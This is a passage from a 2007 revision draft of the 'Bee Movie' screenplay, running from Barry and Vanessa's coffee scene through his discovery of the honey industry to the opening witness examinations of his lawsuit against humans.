kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) "Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA 